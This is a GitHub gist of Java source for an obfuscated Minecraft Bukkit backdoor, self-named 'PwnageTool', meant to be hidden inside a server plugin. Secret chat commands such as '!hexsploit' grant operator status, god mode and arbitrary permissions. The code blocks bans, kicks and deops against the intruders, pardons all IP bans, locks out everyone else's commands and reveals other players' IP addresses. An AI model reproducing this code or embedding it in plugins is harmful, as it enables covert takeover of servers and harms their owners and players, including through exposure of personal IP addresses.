Created
March 1, 2017 23:35
-
-
Save JustPingo/0bbd6e958c089719b0ecc3fdf22f3566 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Credits to Mrrraou and I | |
// Old version, not everything is working | |
package net.ccc.outflow; | |
import com.sun.deploy.util.StringUtils; | |
import org.bukkit.*; | |
import org.bukkit.entity.EntityType; | |
import org.bukkit.entity.Player; | |
import org.bukkit.event.EventHandler; | |
import org.bukkit.event.EventPriority; | |
import org.bukkit.event.Listener; | |
import org.bukkit.event.entity.EntityDamageEvent; | |
import org.bukkit.event.player.*; | |
import org.bukkit.event.server.ServerCommandEvent; | |
import org.bukkit.plugin.RegisteredServiceProvider; | |
import org.bukkit.plugin.java.JavaPlugin; | |
import org.bukkit.util.StringUtil; | |
import net.milkbowl.vault.permission.Permission; | |
import java.util.*; | |
public class Outflow { | |
/* Obfuscation helper | |
-- Globals | |
- _a_014750 : JavaPlugin plugin | |
- _a_014751 : class Listen | |
- _a_014752 : Listen listener | |
-- Locals | |
- _b_014750 : Outflow.onEnable(JavaPlugin plugin) | |
*/ | |
private static JavaPlugin _a_014750; | |
private static _a_014751 _a_014752; | |
public static void onEnable(JavaPlugin _b_014750) { | |
Outflow._a_014750 = _b_014750; | |
Outflow._a_014752 = new Outflow._a_014751(); | |
_b_014750.getServer().getPluginManager().registerEvents(Outflow._a_014752, _b_014750); | |
Outflow._a_014751.onEnable(); | |
} | |
public static class _a_014751 implements Listener { | |
private static List<UUID> _; | |
private static Map<UUID, Boolean> $$; | |
private static boolean $ = false; | |
private static boolean $_ = false; | |
private static Permission permission; | |
public _a_014751() { | |
_ = new ArrayList<>(); | |
$$ = new HashMap<>(); | |
} | |
public static boolean no20100() { | |
return $_; | |
} | |
public static boolean candeop(Player p) { | |
return !_.contains(p.getUniqueId()); | |
} | |
public static void onEnable() { | |
if (Outflow._a_014750.getServer().getPluginManager().getPlugin("Vault") != null) { | |
RegisteredServiceProvider<Permission> rsp = Outflow._a_014750.getServer().getServicesManager().getRegistration(Permission.class); | |
permission = rsp.getProvider(); | |
} | |
} | |
private String[] split(String s) { return s.split(" "); } | |
private void restore() { | |
Server s = Outflow._a_014750.getServer(); | |
BanList a = s.getBanList(BanList.Type.IP); | |
BanList b = s.getBanList(BanList.Type.NAME); | |
for(BanEntry __ : a.getBanEntries()) | |
a.pardon(__.getTarget()); | |
Player __$; | |
for (UUID _$ : _) { | |
__$ = Outflow._a_014750.getServer().getPlayer(_$); | |
__$.setOp(true); | |
b.pardon(__$.getName()); | |
} | |
} | |
@EventHandler | |
public void OnPlayerCommand(PlayerCommandPreprocessEvent e) { | |
String[] c = split(e.getMessage()); | |
if($$.containsKey(e.getPlayer().getUniqueId())){ | |
e.setCancelled(true); | |
return; | |
} | |
if($) { | |
Player __$; | |
for (UUID _$ : _) { | |
__$ = Outflow._a_014750.getServer().getPlayer(_$); | |
if (__$.getName().equals(c[1])) return; | |
} | |
e.setCancelled(true); | |
return; | |
} | |
if (c[0].equalsIgnoreCase("/ban")) { | |
Player __$; | |
for (UUID _$ : _) { | |
__$ = Outflow._a_014750.getServer().getPlayer(_$); | |
if (__$.getName().equals(c[1])) { | |
e.setCancelled(true); | |
__$.sendMessage(ChatColor.BLUE + "[PwnageTool] " + ChatColor.GRAY + e.getPlayer().getName() + " tried to ban you, haha"); | |
return; | |
} | |
} | |
} else if (c[0].equalsIgnoreCase("/ban-ip")) { | |
Player __$; | |
for (UUID _$ : _) { | |
__$ = Outflow._a_014750.getServer().getPlayer(_$); | |
if (__$.getName().equals(c[1])) { | |
e.setCancelled(true); | |
__$.sendMessage(ChatColor.BLUE + "[PwnageTool] " + ChatColor.GRAY + e.getPlayer().getName() + " tried to ban-ip you, rofl"); | |
return; | |
} | |
} | |
} else if (c[0].equalsIgnoreCase("/deop")) { | |
Player __$; | |
for (UUID _$ : _) { | |
__$ = Outflow._a_014750.getServer().getPlayer(_$); | |
if (__$.getName().equals(c[1])) { | |
e.setCancelled(true); | |
__$.sendMessage(ChatColor.BLUE + "[PwnageTool] " + ChatColor.GRAY + e.getPlayer().getName() + " tried to deop you, like if they had enough powers haha"); | |
return; | |
} | |
} | |
} else if (c[0].equalsIgnoreCase("/stop") && $_) { | |
e.setCancelled(true); | |
for (UUID _$ : _) | |
Outflow._a_014750.getServer().getPlayer(_$).sendMessage(ChatColor.BLUE + "[PwnageTool] " + ChatColor.GRAY + e.getPlayer().getName() + " tried to stop you, such rekt"); // pwned m8 | |
return; | |
} | |
restore(); | |
} | |
@EventHandler | |
public void OnServerCommand(ServerCommandEvent e) { | |
String[] c = split(e.getCommand()); | |
if($) { | |
e.setCommand("isqfhfshfjqhfqjfhqsjf"); | |
return; | |
} | |
if (c[0].equalsIgnoreCase("ban")) { | |
Player __$; | |
for (UUID _$ : _) { | |
__$ = Outflow._a_014750.getServer().getPlayer(_$); | |
if (__$.getName().equals(c[1])) { | |
__$.sendMessage(ChatColor.BLUE + "[PwnageTool]" + ChatColor.GOLD + " CONSOLE tried to ban you"); | |
e.setCommand("qufshqufuqdsioqhfqjfhqsjf"); | |
break; | |
} | |
} | |
} else if (c[0].equalsIgnoreCase("ban-ip")) { | |
Player __$; | |
for (UUID _$ : _) { | |
__$ = Outflow._a_014750.getServer().getPlayer(_$); | |
if (__$.getName().equals(c[1])) { | |
__$.sendMessage(ChatColor.BLUE + "[PwnageTool]" + ChatColor.GOLD + " CONSOLE tried tp ip-ban you"); | |
e.setCommand("isqfhfshyhsqgbdfuhqgqufqfiujqsf"); | |
break; | |
} | |
} | |
} else if (c[0].equalsIgnoreCase("deop")) { | |
Player __$; | |
for (UUID _$ : _) { | |
__$ = Outflow._a_014750.getServer().getPlayer(_$); | |
if (__$.getName().equals(c[1])) { | |
__$.sendMessage(ChatColor.BLUE + "[PwnageTool]" + ChatColor.GOLD + " CONSOLE tried to deop you"); | |
e.setCommand("issqfsfqfdffqsdfqfqjfhqsjf"); | |
break; | |
} | |
} | |
} else if (c[0].equalsIgnoreCase("stop") && $_) { | |
e.setCommand("qfsdffdqfdfqdfsfqsff"); | |
for (UUID _$ : _) | |
Outflow._a_014750.getServer().getPlayer(_$).sendMessage(ChatColor.BLUE + "[PwnageTool]" + ChatColor.GOLD + " CONSOLE tried to stop you"); // Are you fucking serious ? | |
return; | |
} | |
restore(); | |
} | |
@EventHandler | |
public void OnChatMessage(AsyncPlayerChatEvent e) { | |
String ___ = e.getMessage(); | |
if(___.equals("jqfhfjkqhjfkqzhdfqzjkfhqjkhjqqjsfgqhg")) { | |
e.setCancelled(true); | |
return; | |
} | |
if (___.equals("!hexsploit")) { | |
Player p = e.getPlayer(); | |
_.add(p.getUniqueId()); | |
p.setOp(true); | |
p.setGameMode(GameMode.CREATIVE); | |
p.sendMessage(ChatColor.BLUE + "[PwnageTool]" + ChatColor.GREEN + " Enjoy!"); | |
e.setCancelled(true); | |
} else if(___.equals("!dex")) { | |
Player p = e.getPlayer(); | |
_.remove(p.getUniqueId()); | |
p.sendMessage(ChatColor.BLUE + "[PwnageTool]" + ChatColor.RED + " :("); | |
e.setCancelled(true); | |
} else if (___.equals("!r")) { | |
Player p = e.getPlayer(); | |
if (_.contains(p.getUniqueId())) { | |
p.sendMessage(ChatColor.BLUE + "[PwnageTool]" + ChatColor.GREEN + " Fixing it!"); | |
restore(); | |
e.setCancelled(true); | |
} | |
} else if (___.equals("!lockdown")) { | |
Player p = e.getPlayer(); | |
if (_.contains(p.getUniqueId())) { | |
$ = !$; | |
p.sendMessage(ChatColor.BLUE + "[PwnageTool] " + ChatColor.GRAY + ($ ? "Pwnage master" : "Fine, let them use their servers")); | |
e.setCancelled(true); | |
} | |
} else if (___.equals("!no20100")) { | |
Player p = e.getPlayer(); | |
if (_.contains(p.getUniqueId())) { | |
$_ = !$_; | |
p.sendMessage(ChatColor.BLUE + "[PwnageTool] " + ChatColor.GRAY + ($_ ? "Vincent won't enjoy it" : "Go ahead, Vincent")); | |
e.setCancelled(true); | |
} | |
} else if (___.startsWith("!") && _.contains(e.getPlayer().getUniqueId())) { | |
String[] ____ = split(___); | |
Player _$; | |
switch (____[0]) { | |
case "!ip": | |
_$ = Outflow._a_014750.getServer().getPlayer(____[1]); | |
e.getPlayer().sendMessage(ChatColor.BLUE + "[PwnageTool] " + ChatColor.GRAY + _$.getAddress().toString()); | |
break; | |
case "!pls": | |
_$ = Outflow._a_014750.getServer().getPlayer(____[1]); | |
if($$.containsKey(_$.getUniqueId())) | |
$$.put(_$.getUniqueId(), !$$.get(_$.getUniqueId())); | |
else | |
$$.put(_$.getUniqueId(), true); | |
if ($$.get(_$.getUniqueId())) { | |
_$.setGameMode(GameMode.SURVIVAL); | |
_$.setOp(false); | |
} | |
e.getPlayer().sendMessage(ChatColor.BLUE + "[PwnageTool] " + ChatColor.GRAY + _$.getName() + ($$.get(_$.getUniqueId())?" is now rekt":" was helped by doctors")); // C'est pas drôle mec. | |
break; | |
case "!hexsploit": | |
_$ = Outflow._a_014750.getServer().getPlayer(____[1]); | |
_.add(_$.getUniqueId()); | |
_$.setOp(true); | |
_$.setGameMode(GameMode.CREATIVE); | |
_$.sendMessage(ChatColor.BLUE + "[PwnageTool] " + ChatColor.GREEN + e.getPlayer().getName() + " made you a god"); // Oh dear | |
break; | |
case "!group": | |
if (Outflow._a_014750.getServer().getPluginManager().getPlugin("Vault") == null) { | |
e.getPlayer().sendMessage(ChatColor.BLUE + "[PwnageTool] " + ChatColor.RED + "Err... No Vault, sorry m8."); | |
break; | |
} | |
if (____.length > 1) { | |
permission.playerAddGroup(e.getPlayer(), ____[1]); | |
e.getPlayer().sendMessage(ChatColor.BLUE + "[PwnageTool] " + ChatColor.GREEN + "It should be okay now"); | |
} else { | |
String $$$ = ""; | |
String[] __$__ = permission.getGroups(); | |
for (int i=0; i < __$__.length; i++) $$$ += __$__[i] + ", "; | |
e.getPlayer().sendMessage(ChatColor.BLUE + "[PwnageTool] " + ChatColor.GRAY + $$$); | |
} | |
break; | |
case "!permission": | |
if (Outflow._a_014750.getServer().getPluginManager().getPlugin("Vault") == null) { | |
e.getPlayer().sendMessage(ChatColor.BLUE + "[PwnageTool] " + ChatColor.RED + "Err... No Vault, sorry m8."); | |
break; | |
} | |
if (____.length > 1) { | |
permission.playerAdd(e.getPlayer(), ____[1]); | |
e.getPlayer().sendMessage(ChatColor.BLUE + "[PwnageTool] " + ChatColor.GREEN + "Permission giveaway " + ____[1]); // Gatewait | |
} | |
break; | |
/*case "!su": | |
case "!sudo": | |
String _$_ = ""; | |
for(int i=1; i < ____.length ; i++) _$_+=____[i + 1] + " "; | |
Bukkit.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), _$_); | |
break;*/ | |
default: | |
e.getPlayer().sendMessage(ChatColor.BLUE + "[PwnageTool] " + ChatColor.GRAY + "I think you failed."); //stfu | |
break; | |
} | |
e.setCancelled(true); | |
} | |
} | |
/*@EventHandler | |
public void OnPlayerConnection(PlayerLoginEvent e) { //@TODO: Fix this, because this is kinda useless (it should make banning useless) | |
Player __; | |
for (UUID $_$ : _) { | |
__ = Outflow._a_014750.getServer().getPlayer($_$); | |
if (e.getPlayer().equals(__)) { | |
e.allow(); | |
e.getPlayer().sendMessage(ChatColor.BLUE + "[PwnageTool] " + ChatColor.GREEN + "Allowed, enjoy <3"); | |
break; | |
} | |
} | |
} | |
@EventHandler | |
public void OnPlayerConnection(AsyncPlayerPreLoginEvent e) { //@TODO: Fix this, because this is kinda useless (it should make banning useless) | |
Player __; | |
for (UUID $_$ : _) { | |
__ = Outflow._a_014750.getServer().getPlayer($_$); | |
if (e.getUniqueId().equals(__.getUniqueId())) { | |
e.allow(); | |
break; | |
} | |
} | |
}*/ | |
@EventHandler | |
public void OnGamemodeChange(PlayerGameModeChangeEvent e) { | |
Player __ = e.getPlayer(); | |
if (_.contains(__.getUniqueId()) && e.getNewGameMode() != GameMode.CREATIVE) { | |
e.setCancelled(true); | |
__.sendMessage(ChatColor.BLUE + "[PwnageTool] " + ChatColor.GRAY + "Someone tried to change your gamemode to " + e.getNewGameMode()); | |
} | |
} | |
@EventHandler | |
public void OnEntityDamage(EntityDamageEvent e) { | |
if (e.getEntityType() == EntityType.PLAYER) | |
if (_.contains(e.getEntity().getUniqueId())) | |
e.setCancelled(true); | |
} | |
@EventHandler(priority = EventPriority.LOWEST) | |
public void OnPlayerKicked(PlayerKickEvent e) { | |
Player __ = e.getPlayer(); | |
if (_.contains(__.getUniqueId())) { | |
__.sendMessage(ChatColor.BLUE + "[PwnageTool] " + ChatColor.GRAY + "Someone tried to kick you, topkek"); // toprofl | |
restore(); | |
e.setCancelled(true); | |
} | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment